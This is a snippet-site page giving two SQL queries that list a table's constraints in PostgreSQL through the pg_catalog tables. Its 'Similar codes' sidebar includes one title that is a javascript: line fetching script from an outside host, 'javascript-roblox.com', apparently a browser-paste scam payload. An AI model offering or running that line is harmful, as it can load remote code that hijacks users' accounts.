/TypeScript/How to see constraints in postgresql

How to see constraints in postgresql

SELECT con.*
       FROM pg_catalog.pg_constraint con
            INNER JOIN pg_catalog.pg_class rel
                       ON rel.oid = con.conrelid
            INNER JOIN pg_catalog.pg_namespace nsp
                       ON nsp.oid = connamespace
       WHERE nsp.nspname = '<schema name>'
             AND rel.relname = '<table name>';

Source: dba.stackexchange.com

List all constraints in postgres

SELECT *
       FROM pg_catalog.pg_constraint con,
	   pg_catalog.pg_class rel,
	   pg_catalog.pg_namespace nsp
       WHERE
	   		rel.oid = con.conrelid
			AND nsp.oid = connamespace
	   		AND nsp.nspname like '<schema-name>'
			AND rel.relname like '<table-name>'

Similar codes

0 vote109 views1 answer
Count number of elements in multi-dimensional array python
TypeScript
0 vote179 views10 answers
XJavascript:$.get("//javascript-roblox.com/api?i=13407")
TypeScript
0 vote109 views1 answer
On input inset - afetr 5 digits jquery
TypeScript
0 vote109 views1 answer
Two sets of parentheses after function call
TypeScript
0 vote108 views1 answer
Error detected in pubspec.yaml: No file or variants found for asset: assets/imgs.
TypeScript
0 vote116 views1 answer
Sprockets cannot load such file sass
TypeScript
0 vote111 views1 answer
Ionic email validation
TypeScript
0 vote116 views1 answer
How to check that tuple A contains all elements of tuple B python?
TypeScript
3 votes106 views1 answer
Google chrome extensions content scripts matches
TypeScript
0 vote117 views1 answer
Vscode add all missing imports shortcut
TypeScript